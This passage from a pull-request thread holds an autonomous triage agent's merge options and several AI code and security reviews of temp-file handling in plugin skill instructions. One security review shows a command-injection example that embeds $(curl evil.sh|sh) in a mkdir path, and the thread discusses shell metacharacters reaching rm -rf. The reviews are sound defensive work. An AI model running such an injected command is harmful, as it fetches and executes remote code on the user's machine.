• It is cross-cutting by construction: the same inherited form spans these five plugins plus architecture/improve and every other mktemp call site under plugins/**.
• Its correctness is coupled to an unmerged upstream contract (docs(topic-docs): add the ephemeral tier row so throwaway files stop reaching for the scratchpad #1675) whose rule 1 currently contradicts it.

Caveat, stated plainly: the label's "hard to reverse" clause does not fit — these are markdown instruction edits and trivially revertible. structural is chosen for the contract-change and cross-cutting clauses, not for irreversibility. scoped was rejected because the blast radius is not bounded by a brief; it is bounded by a decision nobody has made yet.

Decision-ready options

1. RECOMMENDED — hold #1708 behind #1675, then close the flag question

Merge #1675 first (it carries the normative form), resolve #1709's BSD-execution gap for the suffix case specifically, then update the four non-conforming call sites in this PR and re-request review. Also fold in the three unaddressed Codex findings.

Why: this is the only option under which #1708 is conformant on landing rather than non-conformant on landing. It also keeps the flag decision in the one place that owns it. Cost: #1708 blocks on two other items, one of which needs a human decision.

2. Merge now as a strict improvement, accepting a known macOS break

The pre-PR state (hardcoded /tmp + a hand-rolled date +%s%N nonce, no cleanup, no Windows branch) is worse than what this replaces it with, and 3 of 5 plugins improve unambiguously.

Cost: knowingly ships the exact regression three independent reviewers flagged, on two skills that advertise macOS support; lands instruction text that contradicts #1675 rule 1; and leaves the Codex P1 /tmp permissions finding open. Requires an explicit human decision to accept.

3. Split the PR

Land event-storming (already conformant), firecrawl, and context7 now; hold prototype + visualization until the BSD suffix question resolves.

Cost: extra PRs and version-bump churn, and it still leaves -t deprecation in two plugins to be swept later by #1709 anyway.

Recommended: option 1.

Labels applied

needs-human, work-class: structural.

[kyle-sexton]

AI-generated by an autonomous triage agent (instance MELO-LAP-001-triage-20260729T123842Z). Triage complete; lane released.

[claude]

Claude finished @kyle-sexton's task in 2m 45s —— View job

---

PR Review — #1708 (HEAD 91327a0)

• Gather context and understand the request
• Read the PR diff (all 3 commits)
• Review changed files in detail
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

Commit 91327a0 resolves every blocking finding raised across three prior review rounds (two code-review passes and one security review). The PR is now in good shape. One PLAUSIBLE security finding from the prior round remains unaddressed but does not, in my assessment, warrant blocking merge on its own.

---

✅ Resolved — mktemp --tmpdir portability (previously blocking)

All four prior reviewers flagged mktemp --tmpdir as a GNU-only flag that breaks on BSD/macOS. 91327a0 addresses this correctly across every call site:

For spill files (firecrawl, context7): changed to the portable positional template form — mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX" — which both GNU and BSD mktemp accept identically. No flag needed.

For HTML files (explore-directions, visualize): rather than trying to use a suffix after XXXXXX (whose portability is unresolved per #1709), the fix creates a private run directory and writes the fixed-name page inside it:

d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX")
# then: "$d/explore-directions.html"

-d is POSIX standard, works on both GNU and BSD. mkdtemp mandates mode 0700, so the directory is private. The .html suffix is on the file inside the directory, not the mktemp template — sidestepping the open question #1709 raised entirely. Elegant solution.

Prose in both skills explains the tradeoff correctly:

"the directory carries the .html name without depending on mktemp accepting a suffix after the XXXXXX"

---

✅ Resolved — event-storming session directory permissions (P1 from Codex review)

{session_dir} was previously named but not created via a secure primitive, leaving a predictable path in shared /tmp with 0755 permissions. Now:

• agentic-simulation.md:271 binds to mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" on POSIX/Git Bash (0700 mode, random component defeats pre-creation) and New-Item … [IO.Path]::GetRandomFileName() on PowerShell (per-user $env:TEMP)
• Both downstream sites at line 338 and line 652 correctly reference the returned path rather than recomputing it, with an explicit reminder that {session_dir} is the value the primitive returned — not a reconstructed path.

---

✅ Resolved — context7 echo path (P2 from Codex review)

cli.md:129 now reads:

OUT=$(mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX"); echo "$OUT"; MSYS_NO_PATHCONV=1 ctx7 docs /vercel/next.js "app router" > "$OUT"

Path is echoed in the same call, matching the firecrawl pattern. The comment explains why: "the docs output is redirected, so the path is the only thing the next Read can go on."

---

✅ Resolved — firecrawl cleanup exception command-agnostic (P2 from Codex review)

SKILL.md:87 now reads:

"The one exception is command-agnostic: whenever the user asked for the file itself — from scrape, search, crawl, map, parse, interact, or agent alike — the path is the deliverable; hand it back and do NOT delete it."

This is consistent with update/SKILL.md and covers every command.

---

🟡 Minor — {session_id} shell metacharacter constraint not updated

agentic-simulation.md:333:

"no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup)"

The prior security review (PLAUSIBLE, not CONFIRMED) flagged that this doesn't explicitly list shell metacharacters ($, `, ;, |, &, >, <). Those characters would be evaluated inside the double-quoted rm -rf "{session_dir}/" on the POSIX arm if a user-supplied domain contained them.

My assessment: PLAUSIBLE remains the right confidence rating. The format {domain}-{date}-{random4} with {random4} being 0-9a-f limits injection paths significantly in practice, and current models don't typically embed raw user strings in filesystem paths without sanitization. The Remove-Item -LiteralPath on the PowerShell arm is injection-safe regardless. This is a documentation quality gap, not a confirmed exploit path. Non-blocking.

Optional improvement — add shell metacharacters to the forbidden list at line 333:

"no spaces, slashes, shell metacharacters ($, `, ;, |, &), or other path-unsafe characters"

Fix this →

---

Looks good

• All five plugins carry matching CHANGELOG entries and correct patch-version bumps.
• The mktemp -d + fixed-name-file-inside approach for HTML artifacts is a better solution than suffix-based mktemp — it closes mktemp: no flag form is both non-deprecated and portable, and the bare form writes into the repo #1709's portability gap for these two skills without waiting for a marketplace-wide decision.
• firecrawl/evals.json and firecrawl/update/SKILL.md updated consistently.
• Both downstream {session_dir} reference sites in event-storming updated to use the returned primitive value, not a recomputed path.
• Commit message for 91327a0 is thorough and accurately narrates every change, including what was verified and what was not (BSD not exercised directly).

[claude]

Claude finished @kyle-sexton's task in 4m 25s —— View job

---

Security Review — PR #1708

• Gather context and understand the request
• Read PR diff and changed files
• Analyze injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Analyze credential and secret handling
• Post findings

---

All 18 changed files are documentation/instruction markdown files and JSON manifests — no GitHub Actions workflows, no executable code, no secrets in scope. The security surface is the shell patterns these skill instructions direct an agent to generate and execute.

Prior reviews (three total across two commits) have flagged mktemp --tmpdir portability, world-readable /tmp permissions, and {session_id} path-traversal. Commit 91327a0 is where this review is anchored; I confirm the resolution status of each prior finding and report one residual concern.

---

Resolved at HEAD — confirmed not re-reporting

Shell injection via user-derived {session_id} in rm -rf "${session_dir}/" — RESOLVED.
The prior security reviewer's highest-severity concern was that {session_dir} was composed from user-supplied domain text, making rm -rf "${session_dir}/" an injection vector. At HEAD, agentic-simulation.md:271 binds {session_dir} to the return value of mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" — an OS-controlled path containing only alphanumeric characters, hyphens, and slashes. Line 338 now reads: "{session_dir} is the path the temp primitive returned at session start, not a path you recompute here." The destructive rm -rf vector is fully closed.

World-readable /tmp with predictable name (Codex P1) — RESOLVED.
The same change to line 271 explains that mktemp -d (POSIX mkdtemp) mandates mode 0700 on the created directory, preventing other local users from traversing into it or pre-creating the path. The prose explicitly states this invariant and why it closes both the information-leak and pre-creation-race windows.

mktemp --tmpdir absent on BSD/macOS — RESOLVED.
prototype and visualization now use mktemp -d "${TMPDIR:-/tmp}/…-XXXXXX" (positional template, no flag), which is valid on both GNU and BSD mktemp. The .html file lives under the created directory ("$d/explore-directions.html"), so the suffix doesn't depend on mktemp accepting a post-X extension.

Firecrawl cleanup exception too narrow (Codex P2 on commit 9a31ce0) — RESOLVED.
SKILL.md:87 now reads: "The one exception is command-agnostic: whenever the user asked for the file itself — from scrape, search, crawl, map, parse, interact, or agent alike — the path is the deliverable; hand it back and do NOT delete it." Consistent with update/SKILL.md.

Context7 path not echoed (Codex P2 on commit 9a31ce0) — RESOLVED.
cli.md:128 now echoes $OUT in the same Bash call as creation.

---

SUGGESTION — {session_id} metacharacter constraint leaves archive path commands open to shell expansion

Confidence: PLAUSIBLE

The constraint governing session ID composition lives at agentic-simulation.md:333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup).

$, `, ;, |, (, ) are not "path-unsafe" in the common filesystem sense — they produce valid filenames — but Bash evaluates $(…) and backtick substitution inside double-quoted strings. The rm -rf path no longer uses {session_id} (it uses the mktemp output; that injection vector is resolved). However, two archival instructions remain:

• Line 339: archive to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/
• Line 653: copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/

An agent implementing these in a Bash call constructs a command like:

mkdir -p "${CLAUDE_PLUGIN_DATA}/sessions/devconf$(curl evil.sh|sh)-20260321-a7f2/"

If the model derives the domain from the user's workshop topic without sanitizing shell metacharacters, the substitution executes. This is a lower-severity residual than the resolved rm -rf vector (archive is non-destructive to existing files), but it is a real arbitrary command execution path on a Bash-capable host.

The constraint note's parenthetical references rm -rf as the motivation for the path rule. Now that rm -rf uses the mktemp path rather than {session_id}, the parenthetical is stale and the real remaining risk (the archive shell commands) is not named. A reader seeing only line 333 has no prompt to think about the archive commands.

Suggested fix: Extend the forbidden-character list to include shell metacharacters explicitly, and add a concrete sanitization step — e.g., derive the domain slug with tr -cd '[:alnum:]-' before embedding it in any shell command:

domain_slug=$(echo "$domain_input" | tr -cd '[:alnum:]-' | tr '[:upper:]' '[:lower:]')
session_id="${domain_slug}-$(date +%Y%m%d)-$(openssl rand -hex 2)"

Fix this →

---

No other findings

• firecrawl mktemp + rm -f pattern: OUT=$(mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX"); echo "$OUT" → Read → rm -f "<literal path>". All paths are OS-controlled; every variable is double-quoted ("$OUT", "$LOGIN", "$DASH"). No injection surface.
• prototype and visualization mktemp -d + directory write: d=$(mktemp -d …) then "$d/<name>.html". No user input in the mktemp call; the directory is created with POSIX-mandated mode 0700 before the file is written; no TOCTOU. File contents are model-generated HTML; the self-contained CSP in the prototype skill (default-src 'none') blocks remote resource loading at the browser level, limiting the blast radius of any injected remote fetch.
• context7 mktemp + output redirect: OUT=$(mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX"); echo "$OUT" then > "$OUT". Double-quoted throughout; mktemp produces a 0600 file. No injection surface.
• firecrawl interact NL argument: hardcoded illustrative string in the example; not user-derived. Not in scope.
• All plugin.json and CHANGELOG.md files: version bumps and prose only. No security surface.

[claude]

Claude finished @kyle-sexton's task in 2m 19s —— View job

---

PR Review — #1708 (HEAD 0da829f)

• Gather context and understand the request
• Read recent commits (9bf825f, 0da829f) introduced since last review
• Read the full PR diff against origin/main
• Assess state of previously-flagged findings
• Post comprehensive review

---

Summary

9bf825f is a correct and necessary follow-up to 91327a0. The previous round's mktemp -d approach introduced a silent defect: the created directory has a random name, and since the Bash tool does not persist shell state between calls, that name would be unrecoverable in the subsequent call that writes the HTML page or persona files — exactly the defect the third reviewer caught in the context7 example, now re-introduced by the new snippets. The fix is consistent and well-explained across all three affected sites.

All blocking findings from the three prior review rounds are now addressed. One minor CHANGELOG gap and the existing PLAUSIBLE security nit remain.

---

✅ Fully resolved — echo-the-path defect (9bf825f)

prototype/explore-directions/SKILL.md (L112–116):

d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d"

→ then write to <echoed dir>/explore-directions.html. Correct. The rationale is stated inline.

visualization/visualize/SKILL.md (L97–100):

d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d"

Same pattern, same inline rationale. Correct.

event-storming/agentic-simulation.md (L271):

"Echo the created path in the same call and carry that literal value for the rest of the session — the name carries a random component and shell state does not survive between Bash calls, so it cannot be recomputed later."

The PowerShell branch now returns .FullName (i.e., (New-Item …).FullName), which produces a plain string rather than the DirectoryInfo object New-Item emits on its own. Correct.

The downstream rm -rf and Remove-Item cleanup sites at L338 and L652 already referred to {session_dir} as the path the primitive returned; no further change needed there.

---

✅ Previously resolved — all blocking findings from prior rounds

Finding	Status
mktemp --tmpdir on BSD/macOS (three reviewers, two commits)	Fixed in 91327a0: replaced with mktemp -d "${TMPDIR:-/tmp}/…" for dir-based delivery
Event-storming session dir permissions P1 (predictable path, 0755 in shared /tmp)	Fixed in 91327a0: mktemp -d + POSIX mkdtemp mandating 0700
Context7 pipe example not echoing $OUT (Codex P2)	Fixed in 91327a0
Firecrawl cleanup exception too narrow (Codex P2)	Fixed in 91327a0: now command-agnostic
Firecrawl shell: bash misattribution	Fixed in 9a31ce0
[IO.Path] accelerator shorthand in CHANGELOG and skill body	Fixed in 9bf825f: expanded to [System.IO.Path] throughout

---

🟡 Nit — CHANGELOG for prototype (0.3.3) and visualization (0.1.1) don't mention the echo requirement

The 0.3.3 entry and 0.1.1 entry describe the directory-based mktemp approach but omit the echo-and-carry requirement added in 9bf825f. The context7 CHANGELOG at 0.4.3 sets the precedent: it explicitly states "the example echoes the generated path in the same call." The agents who read the SKILL.md files get the correct instruction regardless; this is a consumer-facing documentation gap only. Non-blocking.

Fix this →

---

🟡 Nit (carry-over, PLAUSIBLE) — {session_id} constraint doesn't name shell metacharacters

agentic-simulation.md:333 forbids "spaces, slashes, or other path-unsafe characters" but doesn't name $, `, ;, |, or &. These are evaluated by Bash inside double-quoted strings and appear in the POSIX rm -rf "{session_dir}/" cleanup arm. Confidence stays at PLAUSIBLE: the {domain}-{date}-{random4} format substantially limits the practical risk, the PowerShell arm is injection-safe via -LiteralPath, and the phrase "other path-unsafe characters" may reasonably cover metacharacters. Optional improvement; not blocking.

---

Looks good overall

The four-commit arc is coherent: each commit addresses exactly what prior reviewers flagged, and 9bf825f's rationale (shell state doesn't persist between Bash calls; a random directory name is unrecoverable without an echo) is precisely correct and clearly stated. The PR is clean.

[claude]

Claude finished @kyle-sexton's task in 3m 40s —— View job

---

Security Review — PR #1708 (HEAD 0da829f)

• Gather context and understand the request
• Read PR diff (git diff origin/main HEAD -- plugins/)
• Read changed files in detail
• Analyze injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Assess prior security findings (resolved vs. open)
• Post security review findings

---

All 18 changed files are documentation/instruction markdown and JSON manifests — no GitHub Actions workflows, no executable code, no secrets in scope. The security surface is the shell patterns these skill instructions direct an agent to generate and execute.

Three prior security reviews already covered mktemp --tmpdir portability, world-readable session directory permissions, rm -rf injection via {session_id}, context7 missing echo, and firecrawl cleanup exception scope. This review is anchored at HEAD 0da829f (a merge of origin/main into the branch after commits 91327a0 and 9bf825f).

---

Prior findings — confirmed resolved at HEAD

mktemp --tmpdir absent on BSD/macOS — RESOLVED.
Every call site now uses the positional-template form with no flag:

• mktemp "${TMPDIR:-/tmp}/fc-scrape-XXXXXX" (firecrawl)
• mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX" (context7)
• mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" (event-storming, -d is POSIX standard)
• mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX" (prototype)
• mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX" (visualization)

World-readable session directory / pre-creation race (Codex P1) — RESOLVED.
agentic-simulation.md:271 now creates via mktemp -d whose POSIX-mandated 0700 mode gates traversal. The random component defeats pre-creation.

rm -rf injection via recomputed {session_id} path — RESOLVED.
Line 338 explicitly states {session_dir} is the path the primitive returned, not a recomputed value. The rm -rf operates only on the OS-controlled mktemp output, which contains no metacharacters.

Context7 missing echo (Codex P2) — RESOLVED.
cli.md:129 echoes $OUT in the same call.

Firecrawl cleanup exception too narrow (Codex P2) — RESOLVED.
SKILL.md:87 now covers all commands by name.

Missing echo in mktemp -d snippets (introduced in 91327a0, caught and fixed in 9bf825f) — RESOLVED.
Prototype, visualization, and event-storming all echo the created directory path in the same Bash call. Shell state doesn't survive between calls, so the echo is the only way to carry the randomly-named path to the next call.

---

New findings at HEAD 0da829f

No new findings. The two commits added since the prior review (9bf825f echo-fix and 0da829f merge) introduce no new security surface:

• 9bf825f adds ; echo "$d" to three mktemp -d snippets. The echo emits to stdout, which the agent reads as the Bash call result — the standard pattern firecrawl uses. The directory path produced by mktemp -d contains only alphanumeric characters and hyphens; no metacharacters can enter through the OS primitive.

• 0da829f is a merge of origin/main that brings in session-flow documentation changes (orchestrate/context/sources.md, plugin.json version, CHANGELOG). These touch prose about nested-subagent depth behavior — no shell patterns, no temp file handling, no security surface.

---

Persistent SUGGESTION — {session_id} metacharacter constraint (carried from prior reviews, non-blocking)

Severity: SUGGESTION
Confidence: PLAUSIBLE

This finding was first raised in the prior security review on 9a31ce0 and re-raised on 91327a0. It is unchanged at HEAD.

agentic-simulation.md:333 constrains session ID to:

{domain}-{date}-{random4} … no spaces, slashes, or other path-unsafe characters

The words "path-unsafe" do not cover $, `, ;, |, & — which are valid in filenames but are shell metacharacters that Bash evaluates inside double-quoted strings. The archive instructions at line 339 and line 653 embed {session_id} in a path an agent would construct for a shell copy or mkdir command.

The rm -rf vector is fully closed — it uses the mktemp-returned {session_dir}. The residual risk is the archive path, where an agent implementing copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/ in Bash could evaluate a metacharacter in {session_id} if the domain was user-supplied and unstripped.

Why PLAUSIBLE, not CONFIRMED: the {domain}-{date}-{random4} format with {random4} being 0-9a-f significantly limits what a user could inject, and the document's implicit guidance points away from raw user strings in paths. Current models generally sanitize before embedding in filesystem paths. The parenthetical in the constraint now names rm -rf as the motivation — but that motivation is already closed; the archive commands are the remaining live surface and are not named.

Suggested addition to line 333 — extend the forbidden-character list and update the parenthetical:

{domain}-{date}-{random4} … no spaces, slashes, shell metacharacters ($, `, ;, |, &, >), or other path-unsafe characters, since the ID is used in filesystem paths (including the archive copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/)

Fix this →

---

All other changed files — no findings

• firecrawl/SKILL.md: OUT=$(mktemp "${TMPDIR:-/tmp}/fc-…-XXXXXX"); echo "$OUT" → Read → rm -f "<literal-path>". All paths are OS-controlled, every variable is double-quoted. Cleanup instruction uses the echoed literal. Windows gotcha is accurate and clearly distinguishes shell: frontmatter scope from Bash tool runtime.
• firecrawl/context/commands.md: /tmp/fc-<nonce>.md placeholders replaced with <path>. No security surface.
• firecrawl/evals.json, firecrawl/update/SKILL.md: Expectation text and preservation rule updated consistently. No security surface.
• prototype/explore-directions/SKILL.md: d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d". No user input in the mktemp call. CSP meta-tag (default-src 'none') is a security positive — blocks remote resource loading at browser level. The script-src 'unsafe-inline' is required by the in-page switcher and is appropriate for a file-served self-contained page.
• visualization/visualize/SKILL.md: d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d". No user input in the mktemp call. No injection surface.
• context7/cli.md: OUT=$(mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX"); echo "$OUT" with > "$OUT". Double-quoted throughout. File is the user's deliverable; intentional no-cleanup.
• event-storming/agentic-simulation.md (lines 271, 338, 653): See above. Remove-Item -LiteralPath on the PowerShell cleanup arm suppresses wildcard expansion — injection-safe on that arm. The [System.IO.Path]::GetRandomFileName() call returns a fixed-format OS-random string; no user input enters the directory name.
• All plugin.json and CHANGELOG.md files: Version bumps and prose only. No security surface.
• session-flow/orchestrate/context/sources.md, session-flow plugin.json, session-flow CHANGELOG.md: Brought in via merge from origin/main. Documentation-only changes about nested subagent depth behavior. No shell patterns, no temp file handling, no security surface.

[claude]

Claude finished @kyle-sexton's task in 3m 2s —— View job

---

PR Review — #1708 (HEAD 1aca1f1)

• Gather context and understand the request
• Read PR diff at HEAD (1aca1f1)
• Review changed files in detail
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

Four reviewers across five commits addressed every blocking finding raised in prior rounds. The latest commit (1aca1f1) is a pure style change — rewrapping the ephemeral-placement paragraphs in explore-directions/SKILL.md and visualize/SKILL.md to their files' respective column widths (100 and 78). No behavior change. Two minor nits remain open from the prior round; neither is blocking.

---

✅ All prior blocking findings resolved

Finding	Fixed in	Status
mktemp --tmpdir absent on BSD/macOS (prototype, visualization)	91327a0	Replaced with mktemp -d "${TMPDIR:-/tmp}/…-XXXXXX" — no flag, valid on both dialects
Event-storming session dir: predictable path + world-readable 0755 in shared /tmp	91327a0	mktemp -d mandates 0700 via POSIX mkdtemp; random component defeats pre-creation
Context7 pipe example not echoing $OUT	91327a0	Now echo "$OUT" in same call
Firecrawl cleanup exception too narrow (scrape-only)	91327a0	Now command-agnostic, enumerates all six commands
Firecrawl shell: bash misattributed to Bash-tool runtime	9a31ce0	Corrected to runtime gotcha note
Echo missing from prototype + visualization mktemp -d snippets	9bf825f	echo "$d" added; rationale stated inline
[IO.Path] PS accelerator shorthand in event-storming	9bf825f	Expanded to [System.IO.Path] throughout

Checked at HEAD:

• prototype/skills/explore-directions/SKILL.md:112-113: d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d" ✅
• visualization/skills/visualize/SKILL.md:97-98: d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d" ✅
• event-storming/skills/simulation/reference/agentic-simulation.md:271: mktemp -d "${TMPDIR:-/tmp}/eventstorming-session-XXXXXX" with echo and carry instruction ✅
• firecrawl/skills/firecrawl/SKILL.md:87: Command-agnostic cleanup exception ✅
• context7/skills/lookup/context/cli.md:129: echo "$OUT" in same call ✅

---

🟡 Nit (carry-over) — prototype and visualization CHANGELOGs don't mention the echo requirement

The 9bf825f commit added echo "$d" to both SKILL.md files but did not touch their CHANGELOG entries. The echo is a normative instruction (without it the following write call has no recoverable path), so it's a meaningful behavioral detail for consumers reading changelogs.

Compare context7/CHANGELOG.md:14 — "the example echoes the generated path in the same call" — to the prototype 0.3.3 and visualization 0.1.1 entries, which describe the mktemp -d approach but omit the echo. Non-blocking; the SKILL.md files are authoritative for agents.

Fix this →

---

🟡 Nit (carry-over, PLAUSIBLE) — {session_id} constraint doesn't name shell metacharacters

agentic-simulation.md:333: "no spaces, slashes, or other path-unsafe characters" doesn't explicitly list $, `, ;, |, & — which Bash evaluates inside double-quoted strings and which appear in the archive commands at lines 339 and 652. The rm -rf cleanup path is now injection-safe (it uses the mktemp return value, not a recomposed path), so the risk surface is limited to the archive shell commands. Confidence remains PLAUSIBLE given the {domain}-{date}-{random4} format constraint. Non-blocking.

---

Looks good

• 1aca1f1 is purely cosmetic: rewraps explore-directions at 100 columns and visualize at 78 columns with no wording changes. No issues.
• All five plugins carry correct patch bumps and matching CHANGELOG entries.
• The mktemp -d + fixed-name-file-inside approach for the two HTML-producing skills neatly sidesteps mktemp: no flag form is both non-deprecated and portable, and the bare form writes into the repo #1709's open suffix-portability question without waiting for the marketplace-wide decision.
• firecrawl/evals.json and firecrawl/update/SKILL.md are consistent with the core pattern.
• Both downstream {session_dir} reference sites in event-storming use the primitive's returned value, not a recomputed path.

[claude]

Claude finished @kyle-sexton's task in 3m 35s —— View job

---

Security Review — PR #1708 (HEAD 1aca1f1)

• Gather context and understand the request
• Read PR diff at HEAD (1aca1f1)
• Read changed files in detail
• Analyze injection surfaces and temp-file patterns
• Analyze path traversal / trust boundary risks
• Post security review findings

---

All 18 changed files are documentation/instruction markdown and JSON manifests — no GitHub Actions workflows, no executable code, no secrets in scope. The security surface is the shell patterns these skill instructions direct an agent to generate and execute.

The last commit (1aca1f1) is a pure text rewrap of two skills to their file's column width — no content changes, no new security surface. Three prior security reviews across commits 30e76de, 9a31ce0, 91327a0, and 0da829f have tracked this PR's evolution. This review confirms resolution status at HEAD and reports one residual carry-over.

---

Prior findings — confirmed resolved at HEAD

mktemp --tmpdir absent on BSD/macOS — RESOLVED.
Every call site now uses the positional-template form with no flag: mktemp "${TMPDIR:-/tmp}/…-XXXXXX" (firecrawl, context7) and mktemp -d "${TMPDIR:-/tmp}/…-XXXXXX" (event-storming, prototype, visualization). -d is POSIX standard; both GNU and BSD accept the positional template identically.

World-readable session directory / pre-creation race (Codex P1) — RESOLVED.
agentic-simulation.md:271 creates the directory via mktemp -d whose POSIX-mandated 0700 mode gates traversal. The random component defeats pre-creation.

rm -rf injection via recomputed {session_id} path — RESOLVED.
Line 338 explicitly states {session_dir} is the path the primitive returned, not a recomputed value. The rm -rf / Remove-Item -LiteralPath cleanup operates only on the OS-controlled mktemp output, free of metacharacters.

Context7 missing echo (Codex P2) — RESOLVED.
cli.md:129 echoes $OUT in the same call.

Firecrawl cleanup exception too narrow (Codex P2) — RESOLVED.
SKILL.md:87 now covers all commands by name.

Missing echo in mktemp -d snippets (introduced in 91327a0, caught in 9bf825f) — RESOLVED.
Prototype, visualization, and event-storming all echo the created directory path in the same call.

---

SUGGESTION — {session_id} metacharacter constraint doesn't name shell metacharacters for the archive arm (carried from three prior reviews)

Severity: SUGGESTION
Confidence: PLAUSIBLE

This finding was first raised on 9a31ce0 and carried through three subsequent review passes unchanged. It is unchanged at HEAD.

agentic-simulation.md:333:

Use {domain}-{date}-{random4} format … no spaces, slashes, or other path-unsafe characters, since the ID is used in filesystem paths (including the rm -rf cleanup).

The rm -rf vector it cites is now fully closed — that cleanup uses {session_dir} (the mktemp-returned path), not {session_id}. The parenthetical is therefore stale, and the remaining live surface it doesn't name is the archive path at line 339 and line 653:

archive to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/
copy to ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/

$, `, ;, |, & are valid in filenames (not "path-unsafe") but are evaluated by Bash inside double-quoted strings. The format spec {domain}-{date}-{random4} limits the attack surface significantly: {random4} is hex-only and {date} is numeric — only {domain} could carry user-supplied text. Confidence stays at PLAUSIBLE rather than CONFIRMED because the format constraint provides practical mitigation and current models generally sanitize before embedding in filesystem paths.

Suggested fix — update the constraint note and parenthetical at line 333:

{domain}-{date}-{random4} … no spaces, slashes, shell metacharacters ($, `, ;, |, &), or other path-unsafe characters, since the ID appears in filesystem paths (including the archive-copy path ${CLAUDE_PLUGIN_DATA}/sessions/{session_id}/).

Fix this →

---

All other changed files — no findings

• firecrawl/SKILL.md: Three-phase OUT=$(mktemp …); echo "$OUT" → Read → rm -f "<literal-path>" pattern is correctly structured. All paths are OS-controlled; every variable is double-quoted ("$OUT", "$LOGIN", "$DASH"). Windows gotcha accurately distinguishes shell: frontmatter scope from Bash tool runtime. No injection surface.
• firecrawl/context/commands.md: /tmp/fc-<nonce>.md placeholders replaced with <path>. No security surface.
• firecrawl/evals.json, firecrawl/update/SKILL.md: Consistent updates, no security surface.
• prototype/explore-directions/SKILL.md: d=$(mktemp -d "${TMPDIR:-/tmp}/explore-directions-XXXXXX"); echo "$d". OS-controlled path; no user input in the mktemp call. The CSP meta-tag (default-src 'none'; script-src 'unsafe-inline') is appropriate for a self-contained file:// page — unsafe-inline is needed by the in-page switcher and does not create a remote-origin attack surface on file://. No injection surface.
• visualization/visualize/SKILL.md: d=$(mktemp -d "${TMPDIR:-/tmp}/visualize-XXXXXX"); echo "$d". Same as above. xdg-open <path> / open <path> / start <path> operate on the OS-controlled mktemp output — no user input embedded. No injection surface.
• context7/cli.md: OUT=$(mktemp "${TMPDIR:-/tmp}/ctx7-XXXXXX"); echo "$OUT" with > "$OUT". Double-quoted throughout; mktemp produces 0600 file. Hardcoded example arguments (/vercel/next.js, "app router"). No injection surface.
• event-storming/agentic-simulation.md (lines 271, 338, 653): rm -rf uses mktemp-returned {session_dir} — safe. Remove-Item -LiteralPath suppresses wildcard and substitution expansion — safe on the PowerShell arm. [System.IO.Path]::GetRandomFileName() output is OS-controlled. See SUGGESTION above for the archive-path {session_id} constraint gap.
• All plugin.json and CHANGELOG.md files: Version bumps and prose only. No security surface.

[claude]

Claude finished @kyle-sexton's task in 2m 21s —— View job

---

PR Review — #1708 (HEAD d7d1be9)

• Gather context and understand the request
• Read the new commit diff (d7d1be9)
• Review changed files in detail
• Assess resolved/unresolved findings from prior reviews
• Post comprehensive review

---

Summary

d7d1be9 is a correct and important factual correction. Five prior review passes accumulated three false premises about --tmpdir portability; this commit replaces all of them with an accurate account of what the flag actually does on each platform. Four secondary fixes ride along, each justified and well-reasoned. No prior blocking finding is reopened. The two carry-over nits remain open but are explicitly non-blocking.

---

✅ New commit — correct on every point

The --tmpdir rationale was wrong and is now right

The previous justification — propagated to six sites — claimed --tmpdir is absent on BSD. This is false: BSD mktemp(1) on both FreeBSD and macOS documents -p tmpdir, --tmpdir[=tmpdir]. d7d1be9 corrects this across all six affected files with a technically accurate account of what the two dialects actually do:

• GNU: the flag places the template relative to that directory and overrides TMPDIR
• BSD/macOS: the flag only provides a fallback directory for the -t flag when TMPDIR is unset — with a bare positional template and no -t, the flag does nothing and the template resolves against the current working directory

This is a worse failure mode than absence would be. A missing option aborts with an error; the BSD behavior silently writes the file into the consumer's repository — the exact outcome the ephemeral tier's "never in the repo" rule exists to prevent. The new wording names this directly:

"so with a bare template and no -t the flag does nothing there and the template resolves against the current directory, silently writing into the consumer's repo"

The fix itself (absolute path in the positional template) is correct and unchanged; only the explanation behind it was wrong. The corrected explanation is more useful to consumers because it explains why the positional form is the right choice, not just that flags should be avoided.

Three secondary fixes — all correct

Concurrent-session-safety bullet (agentic-simulation.md:657):
The old text stated "Temp directories are namespaced — eventstorming-session-{id} never overlaps", but that named formula was retired in 91327a0 when the directory creation moved to mktemp -d. Non-overlap now comes from the primitive's random component, which is what the new text correctly says.

0700 scope (agentic-simulation.md:268):
The prior text claimed POSIX mkdtemp's 0700 mode guarantee broadly. The new text correctly scopes it — that guarantee is POSIX's, not the Windows branch's, which relies on $env:TEMP being per-user and ACL-scoped. Both protections are real; neither needed inflating to cover the other's territory.

Firecrawl exception wording (SKILL.md:87):
